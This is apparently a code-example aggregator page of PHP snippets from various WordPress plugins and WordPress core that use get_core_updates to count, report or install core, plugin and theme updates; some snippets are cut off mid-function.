示例#1
1
文件: wp-hud.php 项目: trepmal/wp-hud
 /**
  * Collect counts for available updates
  *
  * @return string
  */
 private function wp_get_update_data()
 {
     $counts = array('plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0);
     $update_plugins = get_site_transient('update_plugins');
     if (!empty($update_plugins->response)) {
         $counts['plugins'] = count($update_plugins->response);
     }
     $update_themes = get_site_transient('update_themes');
     if (!empty($update_themes->response)) {
         $counts['themes'] = count($update_themes->response);
     }
     $update_wordpress = get_core_updates(array('dismissed' => false));
     if (!empty($update_wordpress) && !in_array($update_wordpress[0]->response, array('development', 'latest'))) {
         $counts['wordpress'] = 1;
     }
     if (wp_get_translation_updates()) {
         $counts['translations'] = 1;
     }
     return $counts;
 }
 /**
  * Checks if upgrade is required or not
  **/
 function runUpgradeRequiredCheck()
 {
     global $wp_version;
     //if this function does not exist, it means upgrade is definitely required
     if (!function_exists('wp_version_check')) {
         return true;
     } else {
         //run the core check
         if ($wp_version >= 2.7) {
             $update_array = get_core_updates();
             if (is_array($update_array)) {
                 if ('upgrade' == $update_array[0]->response) {
                     return true;
                 }
             }
         } else {
             wp_version_check();
             $cur = get_option('update_core');
             if (isset($cur->response) || 'upgrade' == $cur->response) {
                 return true;
             }
         }
     }
     return false;
 }
示例#3
0
/**
 * Selects the first update version from the update_core option.
 *
 * @return object|array|false The response from the API on success, false on failure.
 */
function get_preferred_from_update_core() {
	$updates = get_core_updates();
	if ( ! is_array( $updates ) )
		return false;
	if ( empty( $updates ) )
		return (object) array( 'response' => 'latest' );
	return $updates[0];
}
示例#4
0
 function get_update_data()
 {
     $counts = array('plugins' => 0, 'themes' => 0, 'wordpress' => 0);
     $update_plugins = get_site_transient('update_plugins');
     if (!empty($update_plugins->response)) {
         $counts['plugins'] = count($update_plugins->response);
     }
     $update_themes = get_site_transient('update_themes');
     if (!empty($update_themes->response)) {
         $counts['themes'] = count($update_themes->response);
     }
     if (function_exists('get_core_updates')) {
         $update_wordpress = get_core_updates(array('dismissed' => false));
         if (!empty($update_wordpress) && 'latest' !== $update_wordpress[0]->response) {
             $counts['wordpress'] = 1;
         }
     }
     $counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'];
     return apply_filters('auto_update_get_update_data', array('counts' => $counts));
 }
 function getSiteStats($information = array(), $exit = true)
 {
     global $wp_version;
     if ($exit) {
         $this->updateExternalSettings();
     }
     MainWP_Helper::update_option('mainwp_child_branding_disconnected', '', 'yes');
     if (isset($_POST['server'])) {
         MainWP_Helper::update_option('mainwp_child_server', $_POST['server']);
     }
     if (isset($_POST['numberdaysOutdatePluginTheme']) && !empty($_POST['numberdaysOutdatePluginTheme'])) {
         $days_outdate = get_option('mainwp_child_plugintheme_days_outdate', 365);
         if ($days_outdate !== $_POST['numberdaysOutdatePluginTheme']) {
             $days_outdate = $_POST['numberdaysOutdatePluginTheme'];
             MainWP_Helper::update_option('mainwp_child_plugintheme_days_outdate', $days_outdate);
             MainWP_Child_Plugins_Check::Instance()->cleanup_deactivation(false);
             MainWP_Child_Themes_Check::Instance()->cleanup_deactivation(false);
         }
     }
     $information['version'] = self::$version;
     $information['wpversion'] = $wp_version;
     $information['siteurl'] = get_option('siteurl');
     $information['nossl'] = '1' === get_option('mainwp_child_nossl') ? 1 : 0;
     include_once ABSPATH . '/wp-admin/includes/update.php';
     $timeout = 3 * 60 * 60;
     // 3minutes
     @set_time_limit($timeout);
     @ini_set('max_execution_time', $timeout);
     //Check for new versions
     if (null !== $this->filterFunction) {
         add_filter('pre_site_transient_update_core', $this->filterFunction, 99);
     }
     if (null !== $this->filterFunction) {
         add_filter('pre_transient_update_core', $this->filterFunction, 99);
     }
     @wp_version_check();
     $core_updates = get_core_updates();
     if (count($core_updates) > 0) {
         foreach ($core_updates as $core_update) {
             if ('latest' === $core_update->response) {
                 break;
             }
             if ('upgrade' === $core_update->response && version_compare($wp_version, $core_update->current, '<=')) {
                 $information['wp_updates'] = $core_update->current;
             }
         }
     }
     if (!isset($information['wp_updates'])) {
         $information['wp_updates'] = null;
     }
     if (null !== $this->filterFunction) {
         remove_filter('pre_site_transient_update_core', $this->filterFunction, 99);
     }
     if (null !== $this->filterFunction) {
         remove_filter('pre_transient_update_core', $this->filterFunction, 99);
     }
     add_filter('default_option_active_plugins', array(&$this, 'default_option_active_plugins'));
     add_filter('option_active_plugins', array(&$this, 'default_option_active_plugins'));
     //First check for new premium updates
     $update_check = apply_filters('mwp_premium_update_check', array());
     if (!empty($update_check)) {
         foreach ($update_check as $updateFeedback) {
             if (is_array($updateFeedback['callback']) && isset($updateFeedback['callback'][0]) && isset($updateFeedback['callback'][1])) {
                 @call_user_func(array($updateFeedback['callback'][0], $updateFeedback['callback'][1]));
             } else {
                 if (is_string($updateFeedback['callback'])) {
                     @call_user_func($updateFeedback['callback']);
                 }
             }
         }
     }
     $informationPremiumUpdates = apply_filters('mwp_premium_update_notification', array());
     $premiumPlugins = array();
     $premiumThemes = array();
     if (is_array($informationPremiumUpdates)) {
         $premiumUpdates = array();
         $information['premium_updates'] = array();
         $informationPremiumUpdatesLength = count($informationPremiumUpdates);
         for ($i = 0; $i < $informationPremiumUpdatesLength; $i++) {
             if (!isset($informationPremiumUpdates[$i]['new_version'])) {
                 continue;
             }
             $slug = isset($informationPremiumUpdates[$i]['slug']) ? $informationPremiumUpdates[$i]['slug'] : $informationPremiumUpdates[$i]['Name'];
             if ('plugin' === $informationPremiumUpdates[$i]['type']) {
                 $premiumPlugins[] = $slug;
             } else {
                 if ('theme' === $informationPremiumUpdates[$i]['type']) {
                     $premiumThemes[] = $slug;
                 }
             }
             $new_version = $informationPremiumUpdates[$i]['new_version'];
             unset($informationPremiumUpdates[$i]['old_version']);
             unset($informationPremiumUpdates[$i]['new_version']);
             $information['premium_updates'][$slug] = $informationPremiumUpdates[$i];
             $information['premium_updates'][$slug]['update'] = (object) array('new_version' => $new_version, 'premium' => true, 'slug' => $slug);
             if (!in_array($slug, $premiumUpdates)) {
                 $premiumUpdates[] = $slug;
             }
         }
         MainWP_Helper::update_option('mainwp_premium_updates', $premiumUpdates);
     }
     remove_filter('default_option_active_plugins', array(&$this, 'default_option_active_plugins'));
     remove_filter('option_active_plugins', array(&$this, 'default_option_active_plugins'));
     if (null !== $this->filterFunction) {
         add_filter('pre_site_transient_update_plugins', $this->filterFunction, 99);
     }
     global $wp_current_filter;
     $wp_current_filter[] = 'load-plugins.php';
     @wp_update_plugins();
     include_once ABSPATH . '/wp-admin/includes/plugin.php';
     $plugin_updates = get_plugin_updates();
     if (is_array($plugin_updates)) {
         $information['plugin_updates'] = array();
         foreach ($plugin_updates as $slug => $plugin_update) {
             if (in_array($plugin_update->Name, $premiumPlugins)) {
                 continue;
             }
             $information['plugin_updates'][$slug] = $plugin_update;
         }
     }
     if (null !== $this->filterFunction) {
         remove_filter('pre_site_transient_update_plugins', $this->filterFunction, 99);
     }
     if (null !== $this->filterFunction) {
         add_filter('pre_site_transient_update_themes', $this->filterFunction, 99);
     }
     @wp_update_themes();
     include_once ABSPATH . '/wp-admin/includes/theme.php';
     $theme_updates = $this->upgrade_get_theme_updates();
     if (is_array($theme_updates)) {
         $information['theme_updates'] = array();
         foreach ($theme_updates as $slug => $theme_update) {
             $name = is_array($theme_update) ? $theme_update['Name'] : $theme_update->Name;
             if (in_array($name, $premiumThemes)) {
                 continue;
             }
             $information['theme_updates'][$slug] = $theme_update;
         }
     }
     if (null !== $this->filterFunction) {
         remove_filter('pre_site_transient_update_themes', $this->filterFunction, 99);
     }
     $information['recent_comments'] = $this->get_recent_comments(array('approve', 'hold'), 5);
     $information['recent_posts'] = $this->get_recent_posts(array('publish', 'draft', 'pending', 'trash'), 5);
     $information['recent_pages'] = $this->get_recent_posts(array('publish', 'draft', 'pending', 'trash'), 5, 'page');
     $securityIssuess = 0;
     if (!MainWP_Security::prevent_listing_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_wp_version_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_rsd_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_wlw_ok()) {
         $securityIssuess++;
     }
     //        if (!MainWP_Security::remove_core_update_ok()) $securityIssuess++;
     //        if (!MainWP_Security::remove_plugin_update_ok()) $securityIssuess++;
     //        if (!MainWP_Security::remove_theme_update_ok()) $securityIssuess++;
     //        if (!MainWP_Security::fix_file_permissions_ok()) $securityIssuess++;
     if (!MainWP_Security::remove_database_reporting_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_php_reporting_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_scripts_version_ok() || !MainWP_Security::remove_styles_version_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::admin_user_ok()) {
         $securityIssuess++;
     }
     if (!MainWP_Security::remove_readme_ok()) {
         $securityIssuess++;
     }
     $information['securityIssues'] = $securityIssuess;
     //Directory listings!
     $information['directories'] = $this->scanDir(ABSPATH, 3);
     $cats = get_categories(array('hide_empty' => 0, 'hierarchical' => true));
     $categories = array();
     foreach ($cats as $cat) {
         $categories[] = $cat->name;
     }
     $information['categories'] = $categories;
     $information['totalsize'] = $this->getTotalFileSize();
     $information['dbsize'] = MainWP_Child_DB::get_size();
     $auths = get_option('mainwp_child_auth');
     $information['extauth'] = $auths && isset($auths[$this->maxHistory]) ? $auths[$this->maxHistory] : null;
     $plugins = $this->get_all_plugins_int(false);
     $themes = $this->get_all_themes_int(false);
     $information['plugins'] = $plugins;
     $information['themes'] = $themes;
     if (isset($_POST['optimize']) && '1' === $_POST['optimize']) {
         $information['users'] = $this->get_all_users_int();
     }
     if (isset($_POST['pluginConflicts']) && '' !== $_POST['pluginConflicts']) {
         $pluginConflicts = json_decode(stripslashes($_POST['pluginConflicts']), true);
         $conflicts = array();
         if (count($pluginConflicts) > 0) {
             if (!$plugins) {
                 $plugins = $this->get_all_plugins_int(false);
             }
             if (is_array($plugins) && is_array($pluginConflicts)) {
                 foreach ($plugins as $plugin) {
                     foreach ($pluginConflicts as $pluginConflict) {
                         if ('1' === $plugin['active'] && ($plugin['name'] === $pluginConflict || $plugin['slug'] === $pluginConflict)) {
                             $conflicts[] = $plugin['name'];
                         }
                     }
                 }
             }
         }
         if (count($conflicts) > 0) {
             $information['pluginConflicts'] = $conflicts;
         }
     }
     if (isset($_POST['themeConflicts']) && '' !== $_POST['themeConflicts']) {
         $themeConflicts = json_decode(stripslashes($_POST['themeConflicts']), true);
         $conflicts = array();
         if (is_array($themeConflicts) && count($themeConflicts) > 0) {
             $theme = wp_get_theme()->get('Name');
             foreach ($themeConflicts as $themeConflict) {
                 if ($theme === $themeConflict) {
                     $conflicts[] = $theme;
                 }
             }
         }
         if (count($conflicts) > 0) {
             $information['themeConflicts'] = $conflicts;
         }
     }
     if (isset($_POST['othersData'])) {
         $othersData = json_decode(stripslashes($_POST['othersData']), true);
         if (!is_array($othersData)) {
             $othersData = array();
         }
         $information = apply_filters('mainwp-site-sync-others-data', $information, $othersData);
         if (version_compare(phpversion(), '5.3', '>=')) {
             if (isset($othersData['syncBackUpWordPress']) && $othersData['syncBackUpWordPress']) {
                 if (MainWP_Child_Back_Up_Wordpress::isActivated()) {
                     $information['syncBackUpWordPress'] = MainWP_Child_Back_Up_Wordpress::Instance()->syncData();
                 }
             }
         }
         if (isset($othersData['syncWPRocketData']) && 'yes' === $othersData['syncWPRocketData']) {
             $data = array();
             if (MainWP_Child_WP_Rocket::isActivated()) {
                 $boxes = get_user_meta($GLOBALS['current_user']->ID, 'rocket_boxes', true);
                 $data['rocket_boxes'] = $boxes;
             }
             $information['syncWPRocketData'] = $data;
         }
     }
     $information['faviIcon'] = $this->get_favicon();
     $last_post = wp_get_recent_posts(array('numberposts' => absint('1')));
     if (isset($last_post[0])) {
         $last_post = $last_post[0];
     }
     if (isset($last_post) && isset($last_post['post_modified_gmt'])) {
         $information['last_post_gmt'] = strtotime($last_post['post_modified_gmt']);
     }
     $information['mainwpdir'] = MainWP_Helper::validateMainWPDir() ? 1 : -1;
     $information['uniqueId'] = get_option('mainwp_child_uniqueId', '');
     $information['plugins_outdate_info'] = MainWP_Child_Plugins_Check::Instance()->get_plugins_outdate_info();
     $information['themes_outdate_info'] = MainWP_Child_Themes_Check::Instance()->get_themes_outdate_info();
     if ($exit) {
         MainWP_Helper::write($information);
     }
     return $information;
 }
function wpau_add_nag($msg)
{
    global $wp_version;
    $requires_update = false;
    $new_wp_version = "";
    //2.7 and above use a diff way to get upgrade nag
    if ($wp_version >= 2.7) {
        $update_array = get_core_updates();
        if (is_array($update_array)) {
            if ('upgrade' == $update_array[0]->response) {
                $requires_update = true;
                $new_wp_version = $update_array[0]->current;
            }
        }
    } else {
        $cur = get_option('update_core');
        if (isset($cur->response) || 'upgrade' == $cur->response) {
            $requires_update = true;
        }
    }
    //check if files cleanup is require only if
    //update is not available
    //else update will handle it automatically
    if (!$requires_update) {
        require_once 'wpau_prelimcheck.class.php';
        $prelimCheck = new wpauPrelimHelper();
        if ($prelimCheck->checkCleanUpRequired()) {
            $cllink = 'edit.php?page=' . WPAU_PAGE . '&task=cleanup&returnhome=1';
            if (function_exists('wp_nonce_url')) {
                $cllink = wp_nonce_url($cllink, 'wordpress_automatic_upgrade');
            }
            if (current_user_can('manage_options')) {
                $msg = sprintf(__('You have not cleaned up the files from last upgrade. Please <a href="%1$s">Click Here</a> to cleanup the files, and disable this nag.'), $cllink);
                echo "<div id='update-nag'>{$msg}</div>";
            }
        }
        unset($prelimCheck);
        return false;
    } else {
        $uplink = 'edit.php?page=' . WPAU_PAGE;
        if (function_exists('wp_nonce_url')) {
            $uplink = wp_nonce_url($uplink, 'wordpress_automatic_upgrade');
        }
        if (current_user_can('manage_options')) {
            $msg = sprintf(__('<a href="%1$s">Click Here</a> to Automatically Upgrade WordPress to latest Version %2$s.'), $uplink, $new_wp_version);
            echo "<div id='update-nag'>{$msg}</div>";
        }
    }
}
示例#7
0
if ( is_multisite() || is_super_admin() ) {
	$submenu[ 'index.php' ][0] = array( __('Dashboard'), 'read', 'index.php' );

	if ( is_multisite() )
		$submenu[ 'index.php' ][5] = array( __('My Sites'), 'read', 'my-sites.php' );

	if ( is_super_admin() ) {
		$plugin_update_count = $theme_update_count = $wordpress_update_count = 0;
		$update_plugins = get_site_transient( 'update_plugins' );
		if ( !empty($update_plugins->response) )
			$plugin_update_count = count( $update_plugins->response );
		$update_themes = get_site_transient( 'update_themes' );
		if ( !empty($update_themes->response) )
			$theme_update_count = count( $update_themes->response );
		$update_wordpress = get_core_updates( array('dismissed' => false) );
		if ( !empty($update_wordpress) && !in_array( $update_wordpress[0]->response, array('development', 'latest') ) )
			$wordpress_update_count = 1;

		$update_count = $plugin_update_count + $theme_update_count + $wordpress_update_count;
		$update_title = array();
		if ( $wordpress_update_count )
			$update_title[] = sprintf(__('%d WordPress Update'), $wordpress_update_count);
		if ( $plugin_update_count )
			$update_title[] = sprintf(_n('%d Plugin Update', '%d Plugin Updates', $plugin_update_count), $plugin_update_count);
		if ( $theme_update_count )
			$update_title[] = sprintf(_n('%d Theme Update', '%d Themes Updates', $theme_update_count), $theme_update_count);

		$update_title = !empty($update_title) ? esc_attr(implode(', ', $update_title)) : '';

		$submenu[ 'index.php' ][10] = array( sprintf( __('Updates %s'), "<span class='update-plugins count-$update_count' title='$update_title'><span class='update-count'>" . number_format_i18n($update_count) . "</span></span>" ), 'install_plugins',  'update-core.php');
示例#8
0
function _wprp_upgrade_core()
{
    if (defined('DISALLOW_FILE_MODS') && DISALLOW_FILE_MODS) {
        return new WP_Error('disallow-file-mods', __("File modification is disabled with the DISALLOW_FILE_MODS constant.", 'wpremote'));
    }
    include_once ABSPATH . 'wp-admin/includes/admin.php';
    include_once ABSPATH . 'wp-admin/includes/upgrade.php';
    include_once ABSPATH . 'wp-includes/update.php';
    require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
    require_once WPRP_PLUGIN_PATH . 'inc/class-wprp-core-upgrader-skin.php';
    // check for filesystem access
    if (!_wpr_check_filesystem_access()) {
        return new WP_Error('filesystem-not-writable', __('The filesystem is not writable with the supplied credentials', 'wpremote'));
    }
    // force refresh
    wp_version_check();
    $updates = get_core_updates();
    if (is_wp_error($updates) || !$updates) {
        return new WP_Error('no-update-available');
    }
    $update = reset($updates);
    if (!$update) {
        return new WP_Error('no-update-available');
    }
    $skin = new WPRP_Core_Upgrader_Skin();
    $upgrader = new Core_Upgrader($skin);
    $result = $upgrader->upgrade($update);
    if (is_wp_error($result)) {
        return $result;
    }
    global $wp_current_db_version, $wp_db_version;
    // we have to include version.php so $wp_db_version
    // will take the version of the updated version of wordpress
    require ABSPATH . WPINC . '/version.php';
    wp_upgrade();
    return true;
}
 public function wp_oracle_get_core_upgrade()
 {
     include_once ABSPATH . 'wp-admin/includes/admin.php';
     include_once ABSPATH . 'wp-admin/includes/upgrade.php';
     require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
     require_once ABSPATH . 'wp-admin/includes/update.php';
     require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-wordpress-oracle-core-upgrader-skin.php';
     // force refresh
     wp_version_check();
     $updates = get_core_updates();
     $update = reset($updates);
     $skin = new Wordpress_Oracle_Core_Upgrader_Skin();
     $upgrader = new Core_Upgrader($skin);
     $result = $upgrader->upgrade($update, array('allow_relaxed_file_ownership' => true));
     if (is_wp_error($result)) {
         return $result;
     }
     global $wp_current_db_version, $wp_db_version;
     // we have to include version.php so $wp_db_version
     // will take the version of the updated version of wordpress
     require ABSPATH . WPINC . '/version.php';
     wp_upgrade();
     return array('blog' => array('core_version' => $result));
 }
 public function get_updates($options)
 {
     if (!current_user_can('update_plugins') && !current_user_can('update_themes') && !current_user_can('update_core')) {
         return $this->_generic_error_response('updates_permission_denied');
     }
     $this->_admin_include('plugin.php', 'update.php', 'file.php', 'template.php');
     $this->_frontend_include('update.php');
     if (!is_array($options)) {
         $options = array();
     }
     // Normalise it
     $plugin_updates = array();
     if (current_user_can('update_plugins')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_plugins');
         if (!empty($options['force_refresh']) || false === $transient) {
             delete_site_transient('update_plugins');
             wp_update_plugins();
         }
         $get_plugin_updates = get_plugin_updates();
         if (is_array($get_plugin_updates)) {
             foreach ($get_plugin_updates as $update) {
                 $plugin_updates[] = array('name' => $update->Name, 'plugin_uri' => $update->PluginURI, 'version' => $update->Version, 'description' => $update->Description, 'author' => $update->Author, 'author_uri' => $update->AuthorURI, 'title' => $update->Title, 'author_name' => $update->AuthorName, 'update' => array('plugin' => $update->update->plugin, 'slug' => $update->update->slug, 'new_version' => $update->update->new_version, 'package' => $update->update->package, 'tested' => isset($update->update->tested) ? $update->update->tested : null, 'compatibility' => isset($update->update->compatibility) ? (array) $update->update->compatibility : null, 'sections' => isset($update->update->sections) ? (array) $update->update->sections : null));
             }
         }
     }
     $theme_updates = array();
     if (current_user_can('update_themes')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_themes');
         if (!empty($options['force_refresh']) || false === $transient) {
             delete_site_transient('update_themes');
             wp_update_themes();
         }
         $get_theme_updates = get_theme_updates();
         if (is_array($get_theme_updates)) {
             foreach ($get_theme_updates as $update) {
                 $theme_updates[] = array('name' => @$update->Name, 'theme_uri' => @$update->ThemeURI, 'version' => @$update->Version, 'description' => @$update->Description, 'author' => @$update->Author, 'author_uri' => @$update->AuthorURI, 'update' => array('theme' => @$update->update['theme'], 'new_version' => @$update->update['new_version'], 'package' => @$update->update['package'], 'url' => @$update->update['url']));
             }
         }
     }
     $core_updates = array();
     if (current_user_can('update_core')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_core');
         if (!empty($options['force_refresh']) || false === $transient) {
             // The next line is only needed for older WP versions - otherwise, the parameter to wp_version_check forces a check.
             delete_site_transient('update_core');
             wp_version_check(array(), true);
         }
         $get_core_updates = get_core_updates();
         if (is_array($get_core_updates)) {
             $core_update_key = false;
             $core_update_latest_version = false;
             @(include ABSPATH . WPINC . '/version.php');
             foreach ($get_core_updates as $k => $core_update) {
                 if (isset($core_update->version) && version_compare($core_update->version, $wp_version, '>') && version_compare($core_update->version, $core_update_latest_version, '>')) {
                     $core_update_latest_version = $core_update->version;
                     $core_update_key = $k;
                 }
             }
             if ($core_update_key !== false) {
                 $update = $get_core_updates[$core_update_key];
                 global $wpdb;
                 $mysql_version = $wpdb->db_version();
                 $is_mysql = file_exists(WP_CONTENT_DIR . '/db.php') && empty($wpdb->is_mysql) ? false : true;
                 $core_updates[] = array('download' => $update->download, 'version' => $update->version, 'php_version' => $update->php_version, 'mysql_version' => $update->mysql_version, 'installed' => array('version' => $wp_version, 'mysql' => $mysql_version, 'php' => PHP_VERSION, 'is_mysql' => $is_mysql), 'sufficient' => array('mysql' => version_compare($mysql_version, $update->mysql_version, '>='), 'php' => version_compare(PHP_VERSION, $update->php_version, '>=')));
             }
         }
     }
     // Do we need to ask the user for filesystem credentials?
     $request_filesystem_credentials = array();
     $check_fs = array('plugins' => WP_PLUGIN_DIR, 'themes' => WP_CONTENT_DIR . '/themes', 'core' => untrailingslashit(ABSPATH));
     foreach ($check_fs as $entity => $dir) {
         $filesystem_method = get_filesystem_method(array(), $dir);
         ob_start();
         $filesystem_credentials_are_stored = request_filesystem_credentials(site_url());
         $filesystem_form = strip_tags(ob_get_contents(), '<div><h2><p><input><label><fieldset><legend><span><em>');
         ob_end_clean();
         $request_filesystem_credentials[$entity] = $filesystem_method != 'direct' && !$filesystem_credentials_are_stored;
     }
     $automatic_backups = class_exists('UpdraftPlus_Options') && class_exists('UpdraftPlus_Addon_Autobackup') && UpdraftPlus_Options::get_updraft_option('updraft_autobackup_default', true) ? true : false;
     return $this->_response(array('plugins' => $plugin_updates, 'themes' => $theme_updates, 'core' => $core_updates, 'meta' => array('request_filesystem_credentials' => $request_filesystem_credentials, 'filesystem_form' => $filesystem_form, 'automatic_backups' => $automatic_backups)));
 }
/**
 * Collect counts and UI strings for available updates
 *
 * @since 3.3.0
 *
 * @return array
 */
function wp_get_update_data()
{
    $counts = array('plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0);
    if ($plugins = current_user_can('update_plugins')) {
        $update_plugins = get_site_transient('update_plugins');
        if (!empty($update_plugins->response)) {
            $counts['plugins'] = count($update_plugins->response);
        }
    }
    if ($themes = current_user_can('update_themes')) {
        $update_themes = get_site_transient('update_themes');
        if (!empty($update_themes->response)) {
            $counts['themes'] = count($update_themes->response);
        }
    }
    if (($core = current_user_can('update_core')) && function_exists('get_core_updates')) {
        $update_wordpress = get_core_updates(array('dismissed' => false));
        if (!empty($update_wordpress) && !in_array($update_wordpress[0]->response, array('development', 'latest')) && current_user_can('update_core')) {
            $counts['wordpress'] = 1;
        }
    }
    if (($core || $plugins || $themes) && wp_get_translation_updates()) {
        $counts['translations'] = 1;
    }
    $counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations'];
    $titles = array();
    if ($counts['wordpress']) {
        $titles['wordpress'] = sprintf(__('%d WordPress Update'), $counts['wordpress']);
    }
    if ($counts['plugins']) {
        $titles['plugins'] = sprintf(_n('%d Plugin Update', '%d Plugin Updates', $counts['plugins']), $counts['plugins']);
    }
    if ($counts['themes']) {
        $titles['themes'] = sprintf(_n('%d Theme Update', '%d Theme Updates', $counts['themes']), $counts['themes']);
    }
    if ($counts['translations']) {
        $titles['translations'] = __('Translation Updates');
    }
    $update_title = $titles ? esc_attr(implode(', ', $titles)) : '';
    $update_data = array('counts' => $counts, 'title' => $update_title);
    /**
     * Filter the returned array of update data for plugins, themes, and WordPress core.
     *
     * @since 3.5.0
     *
     * @param array $update_data {
     *     Fetched update data.
     *
     *     @type array   $counts       An array of counts for available plugin, theme, and WordPress updates.
     *     @type string  $update_title Titles of available updates.
     * }
     * @param array $titles An array of update counts and UI strings for available updates.
     */
    return apply_filters('wp_get_update_data', $update_data, $titles);
}
 echo "<draft>" . $num_posts->draft . "</draft>\r\n";
 echo "<future>" . $num_posts->future . "</future>\r\n";
 echo "<inherit>" . $num_posts->inherit . "</inherit>\r\n";
 echo "<pending>" . $num_posts->pending . "</pending>\r\n";
 echo "<published>" . $num_posts->publish . "</published>\r\n";
 echo "<trash>" . $num_posts->trash . "</trash>\r\n";
 echo "</posts>\r\n";
 echo "<comments>\r\n";
 echo "<approved>" . $num_comm->approved . "</approved>\r\n";
 echo "<pending>" . $num_comm->moderated . "</pending>\r\n";
 echo "<spam>" . $num_comm->spam . "</spam>\r\n";
 echo "<total>" . $num_comm->total_comments . "</total>\r\n";
 echo "<trash>" . $num_comm->trash . "</trash>\r\n";
 echo "</comments>\r\n";
 echo "<updates>\r\n";
 $core_updates = get_core_updates();
 if (is_array($core_updates) && array_key_exists(0, $core_updates)) {
     echo "<core>\r\n";
     echo "<response>" . $core_updates[0]->response . "</response>\r\n";
     echo "<url>" . $core_updates[0]->url . "</url>\r\n";
     echo "<package>" . $core_updates[0]->package . "</package>\r\n";
     echo "<current>" . $core_updates[0]->current . "</current>\r\n";
     echo "<locale>" . $core_updates[0]->locale . "</locale>\r\n";
     echo "<php_version>" . $core_updates[0]->php_version . "</php_version>\r\n";
     echo "<mysql_version>" . $core_updates[0]->mysql_version . "</mysql_version>\r\n";
     echo "<dismissed>" . $core_updates[0]->dismissed . "</dismissed>\r\n";
     echo "</core>\r\n";
 }
 // Plugins
 $plugin_updates = get_plugin_updates();
 if (count($plugin_updates) > 0) {
示例#13
0
 /**
  * Setup notifications for when a core update is available.
  *
  * @TODO might could change to be run
  * when the transients that store this info
  * are updated? Would that run too often?
  *
  * get_site_transient( 'update_core' )
  *
  * @access  public
  * @since   1.1.0
  */
 public function core_update_available_notification()
 {
     global $wp_version;
     // Only send update notices once a week.
     $core_update_transient = rock_the_slackbot()->is_network_active ? get_site_transient('rock_the_slack_core_update_available') : get_transient('rock_the_slack_core_update_available');
     if (false !== $core_update_transient && time() - $core_update_transient < WEEK_IN_SECONDS) {
         return false;
     }
     // See if there's an update before moving forward.
     $update_wordpress = null;
     if (!(function_exists('get_core_updates') && ($update_wordpress = get_core_updates(array('dismissed' => false))) && !empty($update_wordpress) && ($update_wordpress = array_shift($update_wordpress)) && !in_array($update_wordpress->response, array('development', 'latest')))) {
         return false;
     }
     // Which event are we processing?
     $notification_event = 'core_update_available';
     // Get the outgoing webhooks.
     $outgoing_webhooks = $this->get_outgoing_webhooks($notification_event);
     // If we have no webhooks, then there's no point.
     if (!$outgoing_webhooks) {
         return false;
     }
     // Get current user.
     $current_user = wp_get_current_user();
     // Get site URL and name.
     $site_url = get_bloginfo('url');
     $site_name = get_bloginfo('name');
     // Get update URL.
     $core_update_url = is_multisite() ? network_admin_url('update-core.php') : admin_url('update-core.php');
     // Get core version.
     $core_update_version = !empty($update_wordpress->version) ? $update_wordpress->version : false;
     // Create general message for the notification.
     $general_message = sprintf(__('A WordPress core update is available on the %1$s website at <%2$s>.', 'rock-the-slackbot'), $site_name, $site_url);
     // Start creating the payload.
     $payload = array('text' => $general_message);
     // Start creating the fields.
     $fields = array(array('title' => __('Current Version', 'rock-the-slackbot'), 'value' => $wp_version, 'short' => true));
     // Add new version.
     if ($core_update_version) {
         $fields[] = array('title' => __('New Version', 'rock-the-slackbot'), 'value' => $core_update_version, 'short' => true);
     }
     // Create attachments.
     $attachments = array(array('fallback' => $general_message, 'text' => null, 'title' => 'Update WordPress Core', 'title_link' => $core_update_url, 'author_name' => $current_user->display_name, 'author_link' => get_author_posts_url($current_user->ID), 'author_icon' => get_avatar_url($current_user->ID, 32), 'fields' => $fields));
     // Send each webhook.
     $this->send_outgoing_webhooks($notification_event, $outgoing_webhooks, $payload, $attachments, array('current_version' => $wp_version, 'new_version' => $core_update_version));
     // Store timestamp in transient so it only sends the update notice once a week.
     if (rock_the_slackbot()->is_network_active) {
         set_site_transient('rock_the_slack_core_update_available', time(), WEEK_IN_SECONDS);
     } else {
         set_transient('rock_the_slack_core_update_available', time(), WEEK_IN_SECONDS);
     }
 }
示例#14
0
 function et_builder_get_warnings()
 {
     if (!current_user_can('manage_options')) {
         return false;
     }
     $warnings = array();
     // WP_DEBUG check
     if (defined('WP_DEBUG') && true === WP_DEBUG) {
         $warnings[] = sprintf('%1$s. <a href="https://codex.wordpress.org/Debugging_in_WordPress" class="et_builder_modal_action_button" target="_blank">%2$s</a>', esc_html__('You have WP_DEBUG enabled. Please disable this setting in wp-config.php', 'et_builder'), esc_html__('Disable Debug Mode', 'et_builder'));
     }
     // Plugins check
     $third_party_plugins_active = false;
     $excluded_plugins = array('wordpress-importer/wordpress-importer.php', 'divi-builder/divi-builder.php', 'elegant-themes-updater/elegant-themes-updater.php', 'et-security-patcher/et-security-patcher.php');
     $active_plugins = get_option('active_plugins');
     if (is_array($active_plugins) && !empty($active_plugins)) {
         foreach ($active_plugins as $plugin) {
             if (in_array($plugin, $excluded_plugins)) {
                 continue;
             }
             $third_party_plugins_active = true;
             break;
         }
     }
     if ($third_party_plugins_active) {
         $warnings[] = sprintf('%1$s <a href="%3$s" class="et_builder_modal_action_button" target="_blank">%2$s</a>', esc_html__('You are using third party plugins. Try disabling each plugin to see if one is causing a conflict.', 'et_builder'), esc_html__('Manage Your Plugins', 'et_builder'), esc_url(admin_url('plugins.php')));
     }
     // WordPress update check
     require_once ABSPATH . 'wp-admin/includes/update.php';
     $updates = get_core_updates();
     if (isset($updates[0]->response) && 'latest' != $updates[0]->response) {
